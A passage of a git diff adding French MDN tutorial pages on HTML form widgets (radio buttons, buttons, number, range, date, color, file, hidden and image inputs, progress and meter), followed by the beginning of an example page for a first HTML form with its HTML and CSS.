+<p>Plusieurs boutons radio peuvent être liés ensemble. S'ils partagent la même valeur pour leur attribut {{htmlattrxref("name","input")}}, ils seront considérés comme faisant partie d'un seul groupe de boutons. Seulement un bouton à la fois peut être coché par groupe. Ceci signifie que si l'un d'entre eux est coché, tous les autres sont automatiquement décochés. Lorsque le formulaire est envoyé, seule la valeur du bouton coché est envoyée. Si aucun des boutons n'est coché, l'ensemble des boutons du groupe est considéré comme étant dans un état inconnu et aucune valeur n'est envoyée avec le formulaire.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;fieldset&gt;
+  &lt;legend&gt;Quel est votre mets préféré ?&lt;/legend&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;label for="soup"&gt;Soupe&lt;/label&gt;
+      &lt;input type="radio" checked id="soup" name="meal" value="soup"&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;label for="curry"&gt;Curry&lt;/label&gt;
+      &lt;input type="radio" id="curry" name="meal" value="curry"&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;label for="pizza"&gt;Pizza&lt;/label&gt;
+      &lt;input type="radio" id="pizza" name="meal" value="pizza"&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/fieldset&gt;</code></pre>
+
+<p><img alt="Screenshots of radio buttons on several platforms." src="/files/4597/all-radio.png" style="height: 198px; width: 352px;"></p>
+
+<h2 id="Boutons">Boutons</h2>
+
+<p>Dans les formulaires HTML, il existe trois types de boutons :</p>
+
+<dl>
+ <dt>Submit</dt>
+ <dd>Envoie les données du formulaire au serveur.</dd>
+ <dt>Reset</dt>
+ <dd>Réinitialise les widgets de formulaire à leurs valeurs par défaut.</dd>
+ <dt>Anonymous</dt>
+ <dd>Type de bouton n'ayant pas d'effet prédéfini mais qui peut être personnalisé grâce à du code JavaScript.</dd>
+</dl>
+
+<p>Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément {{HTMLElement("input")}}. C'est la valeur de l'attribut {{htmlattrxref("type","input")}} qui définit le type de bouton affiché :</p>
+
+<h3 id="submit">submit</h3>
+
+<pre class="brush: html">    &lt;button type="submit"&gt;
+        Ceci est un &lt;br&gt;&lt;strong&gt;bouton d'envoi&lt;/strong&gt;
+    &lt;/button&gt;
+
+    &lt;input type="submit" value="Ceci est un bouton d'envoi"&gt;</pre>
+
+<h3 id="reset">reset</h3>
+
+<pre class="brush: html">    &lt;button type="reset"&gt;
+        Ceci est un &lt;br&gt;&lt;strong&gt;bouton de réinitialisation&lt;/strong&gt;
+    &lt;/button&gt;
+
+    &lt;input type="reset" value="Ceci est un bouton de réinitialisation"&gt;</pre>
+
+<h3 id="anonymous">anonymous</h3>
+
+<pre class="brush: html">    &lt;button type="button"&gt;
+        Ceci est un &lt;br&gt;&lt;strong&gt;bouton lambda&lt;/strong&gt;
+    &lt;/button&gt;
+
+    &lt;input type="button" value="Ceci est un bouton lambda"&gt;</pre>
+
+<p>Les boutons se comportent de la même manière que vous utilisiez l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. Il existe toutefois quelques différences à noter :</p>
+
+<ul>
+ <li>Comme on peut le voir dans l'exemple précédent, les éléments {{HTMLElement("button")}} autorisent l'utilisation de contenu HTML dans l'étiquette, tandis que les éléments {{HTMLElement("input")}} n'acceptent que du texte brut.</li>
+ <li>Dans le cas des éléments {{HTMLElement("button")}}, il est possible d'avoir une valeur différente de l'étiquette du bouton (toutefois, ceci ne peut être utilisé pour les versions antérieures à la version 8 d'Internet Explorer).</li>
+</ul>
+
+<p><img alt="Screenshots of buttons on several platforms." src="/files/4599/all-buttons.png" style="height: 235px; width: 464px;"></p>
+
+<p>Techniquement parlant, il n'y a pratiquement pas de différence entre un bouton défini avec l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. La seule différence à noter réside dans l'étiquette du bouton lui-même. Dans un élément {{HTMLElement("input")}}, l'étiquette ne peut être constituée que de données de type caractère, alors que dans un élément {{HTMLElement("button")}}, l'étiquette peut être mise sous HTML, de sorte qu'elle peut être mise en forme en conséquence.</p>
+
+<h2 id="Widgets_de_formulaires_avancés">Widgets de formulaires avancés</h2>
+
+<p>Ces widgets sont des contrôles permettant l'utilisateur de saisir des données plus complexes ou moins habituelles, comme des nombres exacts ou approchés, des dates et heures ainsi que des couleurs.</p>
+
+<h3 id="Nombres">Nombres</h3>
+
+<p>On crée un widget pour nombres avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>number</code>. Ce contrôle ressemble à un champ texte mais il n'accepte que des chiffres en virgule flottante, et propose habituellement des boutons pour augmenter ou réduire la valeur dans le widget.</p>
+
+<p>Il est aussi possible de :</p>
+
+<ul>
+ <li>contraindre la valeur en définissant les attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.</li>
+ <li>définir l'incrément de modification de la valeur du widget à l'aide des boutons ad‑hoc en précisant l'attribut {{htmlattrxref("step","input")}}.</li>
+</ul>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: html">    &lt;input type="number" <code class="language-html"><span class="tag token"><span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>age<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>age<span class="punctuation token">"</span></span></span></code> min="1" max="10" step="2"&gt;</pre>
+
+<p>Ceci créé un widget pour un nombre dont la valeur est comprise entre 1 et 10 et dont les boutons d'incrémentation/décrémentation modifient la valeur par pas de 2.</p>
+
+<h3 id="Curseurs">Curseurs</h3>
+
+<p>Le curseur est une autre manière de sélectionner un nombre. Comme, visuellement parlant, les curseurs sont moins précis qu'un champ textuel, ils sont utilisés pour retenir un nombre dont la précision de valeur n'est pas primordiale.</p>
+
+<p>Un curseur se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>range</code>. Il est important de configurer convenablement le curseur. À cet effet, il est fortement recommandé de définir les attributs {{htmlattrxref("min","input")}}, {{htmlattrxref("max","input")}} et {{htmlattrxref("step","input")}}.</p>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<pre class="brush: html line-numbers  language-html">    <code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>range<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>beans<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>beans<span class="punctuation token">"</span></span> <span class="attr-name token">min</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">max</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>500<span class="punctuation token">"</span></span> <span class="attr-name token">step</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span><span class="punctuation token">&gt;
+</span></span></code></pre>
+
+<p>Cet exemple créé un curseur dont les valeurs varient entre 0 et 500, et dont les bouton d'incrément/décrément font varier la valeur de ±10.</p>
+
+<p>Un problème avec les curseurs est qu'il n'offrent aucun moyen visue de savoir quelle est leur valeur courante. Il est nécessaire d'ajouter cela vous‑même à l'aide de JavaScript, mais c'est assez facile. Dans cet exemple nous ajoutons un élément {{htmlelement("span")}} dans lequel nous écrivons la valeur courante du curseur et la mettons à jour quand elle est modifiée.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>beans<span class="punctuation token">"</span></span><span class="punctuation token">&gt;Combien de haricots pouvez‑vous manger </span></span>?<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>range<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>beans<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>beans<span class="punctuation token">"</span></span> <span class="attr-name token">min</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">max</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>500<span class="punctuation token">"</span></span> <span class="attr-name token">step</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>beancount<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>et en  JavaScript :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> beans <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'#beans'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> count <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.beancount'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+count<span class="punctuation token">.</span>textContent <span class="operator token">=</span> beans<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+
+beans<span class="punctuation token">.</span>oninput <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  count<span class="punctuation token">.</span>textContent <span class="operator token">=</span> beans<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Ici nous stockons dans deux variables les références du curseur et celle de <code>span</code>, puis nous réglons immédiatement le <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent">textContent</a></code>  de <code>span</code> à la valeur courante <code>value</code> de l'entrée. Enfin, nous avons mis en place un gestionnaire d'événements oninput de sorte que chaque fois que le curseur de plage est déplacé, le <code>textContent</code> de <code>span</code> est mis à jour avec la nouvelle valeur de l'entrée.</p>
+
+<p>L'attribut <code>range</code> pour <code>input</code> n'est pas pris en charge dans les versions d'Internet Explorer dont le numéro est inférieur à 10.</p>
+
+<h3 id="Sélection_de_date_et_heure">Sélection de date et heure</h3>
+
+<p>Recueillir des données de date et heure a traditionnellement toujours été un cauchemar pour les développeurs web. HTML5 ajoute des améliorations en ajoutant un contrôle qui permet de manipuler ce type de données.</p>
+
+<p>Un contrôle de sélection de date et heure se crée avec l'élément {{HTMLElement("input")}} et une valeur appropriée de l'attribut {{htmlattrxref("type","input")}} selon que vous voulez recueillir des dates, des heures ou les deux.</p>
+
+<h4 id="datetime-local"><code>datetime-local</code></h4>
+
+<p>Cette valeur d'attribut créé un widget pour afficher et sélectionner une date et une heure quelque soit le fuseau horaire.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;input type="datetime-local" name="datetime" id="datetime"&gt;</code></pre>
+
+<h4 id="month"><code>month</code></h4>
+
+<p>Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois dans une année donnée.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;input type="month" name="month" id="month"&gt;</code></pre>
+
+<h4 id="time"><code>time</code></h4>
+
+<p>Cette valeur d'attribut créé un widget pour afficher et sélectionner un horaire.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;input type="time" name="time" id="time"&gt;</code></pre>
+
+<h4 id="week"><code>week</code></h4>
+
+<p>Cette valeur d'attribut crée un widget pour afficher et sélectionner une semaine et l'année correspondante.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;input type="week" name="week" id="week"&gt;</code></pre>
+
+<p>Tous les contrôles de sélection de date et heure peuvent être contraints à l'aide des attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.</p>
+
+<pre class="brush: html">    &lt;label for="maDate"&gt;Quand êtes vous disponible cet été ?&lt;/label&gt;
+    &lt;input type="date" min="2013-06-01" max="2013-08-31" id="maDate"&gt;</pre>
+
+<p class="warning"><strong>Attention :</strong> Les widgets de date et heure sont encore peu pris en charge. Au moment de la rédaction de cet article, Chrome, Edge et Opera les prennent bien en charge, mais il n'y a pas de prise en charge dans Internet Explorer et Firefox et Safari n'ont qu'une prise en charge lacunaire de ces derniers.</p>
+
+<h3 id="Sélecteur_de_couleur">Sélecteur de couleur</h3>
+
+<p>Les couleurs sont toujours compliquées à manier. Il existe plusieurs façons de les exprimer : valeurs RGB (décimale ou hexadécimale), valeurs HSL, mots-clés, etc. Les widgets de sélection de couleur permettent aux utilisateurs de sélectionner une couleur dans un contexte textuel et visuel.</p>
+
+<p>Un widget de sélection de couleur se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>color</code>.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>color<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>color<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>color<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Attention : la prise en charge du widget <code>color</code> n'est pas très bonne actuellement. Il n'y a aucune prise en charge dans Internet Explorer, ni actuellement dans Safari. Les autres navigateurs majeurs le prennent en charge.</p>
+
+<h2 id="Autres_widgets">Autres widgets</h2>
+
+<p>Il existe d'autres types de widgets qui ne peuvent pas être classés facilement à cause de leur comportement très particulier, mais qui sont toujours très utiles.</p>
+
+<div class="note">
+<p id="Sélection_de_fichier"><strong>Note </strong>: Vous trouverez les exemples de cette section sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/other-examples.html">other-examples.html</a> (à voir aussi<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/other-examples.html"> directement</a>).</p>
+</div>
+
+<h3 id="Sélection_de_fichier_2">Sélection de fichier</h3>
+
+<p>Les formulaires HTML permettent d'envoyer des fichiers à un serveur. Cette action spécifique est détaillée dans l'article  « <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires" title="/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi et extraction des données de formulaire</a> ». Le widget de sélection de fichier permet à l'utilisateur de choisir un ou plusieurs fichiers à envoyer.</p>
+
+<p>Pour créer un widget de sélection de fichier, vous devez utiliser un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>file</code>. Les types de fichiers acceptés peuvent être contraints en utilisant l'attribut {{htmlattrxref("accept","input")}}. De plus, si vous souhaitez permettre à l'utilisateur de choisir plusieurs fichiers, vous pouvez le faire en ajoutant l'attribut {{htmlattrxref("multiple","input")}}.</p>
+
+<h4 id="Exemple_3">Exemple</h4>
+
+<p>Dans cet exemple, le widget de sélection de fichiers permet de sélectionner des fichiers d'images. L'utilisateur peut sélectionner plusieurs fichiers.</p>
+
+<pre class="brush: html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">accept</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>image/*<span class="punctuation token">"</span></span> <span class="attr-name token">multiple</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Contenu_caché">Contenu caché</h3>
+
+<p>Il est parfois pratique pour des raisons techniques d'avoir des morceaux d'informations qui soient envoyés au serveur sans être montrées à l'utilisateur. Pour ce faire, vous pouvez ajouter un élément invisible dans votre formulaire. Cela est possible en utilisant un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>hidden</code>.</p>
+
+<p>Si vous créez un tel élément, il est obligatoire de définir ses attributs <code>name</code> et <code>value</code> :</p>
+
+<pre class="brush: html">    &lt;input type="hidden" <code class="language-html"><span class="tag token"><span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>timestamp<span class="punctuation token">"</span></span> </span></code>name="timestamp" value="1286705410"&gt;</pre>
+
+<h3 id="Image-bouton">Image-bouton</h3>
+
+<p>Le contrôle <strong>image-bouton</strong> est affiché comme un élément {{HTMLElement("img")}}, à la différence que lorsque l'utilisateur clique dessus, il se comporte comme un bouton d'envoi (voir ci-dessus).</p>
+
+<p>Une image-bouton se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>image</code>. Cet élément accepte exactement le même ensemble d'attributs que l'élément {{HTMLElement("img")}}, en plus de tous les attributs valides pour n'importe quel bouton de formulaire.</p>
+
+<pre class="brush: html">    &lt;input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /&gt;</pre>
+
+<p>Si l'image-bouton est utilisée pour envoyer un formulaire, ce widget n'envoie pas sa valeur mais les coordonnées X et Y du clic sur l'image (les coordonnées sont relatives à l'image, ce qui veut dire que le coin supérieur gauche représente les coordonnées 0, 0). Les coordonnées sont envoyées sous la forme de deux paires de clé/valeur :</p>
+
+<ul>
+ <li>la valeur X est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « <em>.x</em> »</li>
+ <li>la valeur Y est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « <em>.y</em> ».</li>
+</ul>
+
+<p>Lorsque vous cliquez sur l'image dans ce formulaire, vous êtes redirigés une URL du type suivant :</p>
+
+<pre>    http://foo.com?pos.x=123&amp;pos.y=456</pre>
+
+<p>C'est une façon très commode de construire une « hot map » (cartographie des parties d'une page Internet le plus souvent balayées par le regard des lecteurs). La manière d'envoyer et d'extraire ces valeurs est détaillée dans l'article <span>« </span><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires" title="/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires"><span>Envoi des données de formulaire</span></a> ».</p>
+
+<h3 id="Compteurs_et_barres_de_progression">Compteurs et barres de progression</h3>
+
+<p>Les compteurs et barres de progressions sont des représentations visuelles de valeurs numériques.</p>
+
+<h4 id="Progress">Progress</h4>
+
+<p>Une barre de progression représente une valeur qui évolue dans le temps jusqu'à une valeur maximale définie par l'attribut {{htmlattrxref("max","progress")}}. Une telle barre peut être créée grace à un élément {{ HTMLElement("progress")}}.</p>
+
+<pre class="brush: html">    &lt;progress max="100" value="75"&gt;75/100&lt;/progress&gt;</pre>
+
+<p>Cela sert à mettre en œuvre visuellement un rapport d'avancement, comme le pourcentage du nombre total de fichiers téléchargés ou le nombre de questions posées dans un questionnaire.</p>
+
+<p>Le contenu dans l'élément {{HTMLElement("progress")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ;  les technologies d'assistance vocalisent ce contenu.</p>
+
+<h4 id="Meter">Meter</h4>
+
+<p>Un étalon est une valeur fixe dans une plage délimitée par une valeur minimale {{htmlattrxref("min","meter")}} et une valeur maximale {{htmlattrxref("max","meter")}}. Cette valeur est affichée dans une barre, et pour savoir à quoi cette barre ressemble, nous comparons certaines valeurs :</p>
+
+<ul>
+ <li>les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} divisent l'intervalle en trois parties :
+  <ul>
+   <li>la partie basse de l'intervalle est comprise entre les valeurs {{htmlattrxref("min","meter")}} et {{htmlattrxref("low","meter")}} (les deux valeurs sont incluses)</li>
+   <li>la partie médiane de l'intervalle est comprise entre les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} (les deux valeurs sont exclues)</li>
+   <li>la partie haute de l'intervalle est comprise entre les valeurs {{htmlattrxref("high","meter")}} et {{htmlattrxref("max","meter")}} (les deux valeurs sont incluses)</li>
+  </ul>
+ </li>
+ <li>La valeur {{htmlattrxref("optimum","meter")}} définit la valeur optimale pour l'élément {{HTMLElement("meter")}}. En conjonction avec les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}}, elle définit quelle partie de la plage est préféré :
+  <ul>
+   <li>Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie basse de l'intervalle, la partie basse est considérée comme la partie préférée, la partie médiane est considérée comme la partie moyenne et la partie haute comme la moins favorable.</li>
+   <li>Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie médiane, la partie basse est considérée comme la partie moyenne, la partie médiane comme la partie préférée et la partie haute comme moyenne également.</li>
+   <li>Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie haute, la partie basse est considérée comme la moins favorable, la partie médiane comme moyenne et la partie haute comme la partie préférée.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Tous les navigateurs compatibles avec l'élément {{HTMLElement("meter")}} utilisent ces valeurs pour modifier la couleur de la barre :</p>
+
+<ul>
+ <li>Si la valeur actuelle est dans la partie préférée, la barre est verte.</li>
+ <li>Si la valeur actuelle est dans la partie moyenne, la barre est jaune.</li>
+ <li>Si la valeut actuelle est dans la partie la moins favorable, la barre est rouge.</li>
+</ul>
+
+<p>Une telle barre se crée avec un élément {{HTMLElement("meter")}}. Cela permet d'implémenter toute sorte d'étalonnage, par exemple une barre montrant l'espace total utilisé sur un disque, qui devient rouge si le disque commence à être plein.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meter</span> <span class="attr-name token">min</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">max</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>75<span class="punctuation token">"</span></span> <span class="attr-name token">low</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>33<span class="punctuation token">"</span></span> <span class="attr-name token">high</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>66<span class="punctuation token">"</span></span> <span class="attr-name token">optimum</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>50<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>75<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>meter</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Le contenu de l'élément {{HTMLElement("meter")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent cet affichage.</p>
+
+<p>La prise en charge de <code>progress</code> et <code>meter</code> est vraiment bonne — il n'y a pas de prise en charge dans Internet Explorer, mais les autres navigateurs l'acceptent bien.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Comme nous venons de le voir, il y a pas mal d'éléments de formulaire différents disponibles  — il n'est pas nécessaire de mémoriser l'ensemble de ces détails dès maintenant, mais vous pourrez revenir à cet article tant que vous le voudrez pour revoir tel ou tel détail.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<p>Pour entrer plus en détails des différents widgets de formulaires, voici quelques ressources externes très utiles que vous pouvez visiter :</p>
+
+<ul>
+ <li><a href="http://wufoo.com/html5/" rel="external" title="http://wufoo.com/html5/">L'état actuelle des formulaires HTML5</a> par Wufoo (en anglais)</li>
+ <li><a href="http://www.quirksmode.org/html5/inputs.html" rel="external" title="http://www.quirksmode.org/html5/inputs.html">Tests HTML5 - inputs</a> sur Quirksmode (en anglais) (et <a href="http://www.quirksmode.org/html5/inputs_mobile.html" rel="external" title="http://www.quirksmode.org/html5/inputs_mobile.html">pour les navigateurs mobiles</a>)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li>Les widgets natifs pour formulaire</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/exemple/index.html b/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/exemple/index.html
new file mode 100644
index 0000000000..3f25e6d644
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/exemple/index.html
@@ -0,0 +1,104 @@
+---
+title: Exemple
+slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple
+translation_of: Learn/Forms/Your_first_form/Example
+---
+<p>Ceci est l'exemple pour l'article <a href="/fr/docs/HTML/Formulaires/Mon_premier_formulaire_HTML" title="/en-US/docs/HTML/Forms/My_first_HTML_form">Mon premier formulaire HTML</a>.</p>
+
+<h2 id="Un_formulaire_simple" name="Un_formulaire_simple">Un formulaire simple</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;form action="http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi" method="post"&gt;
+  &lt;div&gt;
+    &lt;label for="nom"&gt;Nom :&lt;/label&gt;
+    &lt;input type="text" id="nom" name="user_name"&gt;
+  &lt;/div&gt;
+
+  &lt;div&gt;
+    &lt;label for="courriel"&gt;Courriel :&lt;/label&gt;
+    &lt;input type="email" id="courriel" name="user_email"&gt;
+  &lt;/div&gt;
+
+  &lt;div&gt;
+    &lt;label for="message"&gt;Message :&lt;/label&gt;
+    &lt;textarea id="message" name="user_message"&gt;&lt;/textarea&gt;
+  &lt;/div&gt;
+
+  &lt;div class="button"&gt;
+    &lt;button type="submit"&gt;Envoyer le message&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Contenu_CSS">Contenu CSS</h3>
+
+<pre class="brush: css">form {
+  /* <code class="css comments">Pour le centrer dans la page</code> */
+  margin: 0 auto;
+  width: 400px;
+
+  /* <code class="css comments">Pour voir les limites du formulaire</code> */
+  padding: 1em;
+  border: 1px solid #CCC;
+  border-radius: 1em;
+}
+
+div + div {
+  margin-top: 1em;
+}
+
+label {
+  /* <code class="css comments">Afin de s'assurer que toutes les étiquettes aient la même dimension et soient alignées correctement</code> */
+  display: inline-block;
+  width: 90px;
+  text-align: right;
+}
+
+input, textarea {
+  /* <code class="css comments">Afin de s'assurer que tous les champs textuels utilisent la même police</code>
+     <code class="css comments">Par défaut, textarea utilise une police à espacement constant */</code>
+  font: 1em sans-serif;
+
+  /* <code class="css comments">Pour donner la même dimension à tous les champs textuels */</code>
+  width: 300px;
+
+  -moz-box-sizing: border-box;
+       box-sizing: border-box;
+
+  /* <code class="css comments">Pour harmoniser l'apparence des bordures des champs textuels */</code>
+  border: 1px solid #999;
+}
+
+input:focus, textarea:focus {
+  /* <code class="css comments">Afin de réhausser les éléments actifs */</code>
+  border-color: #000;
+}
+
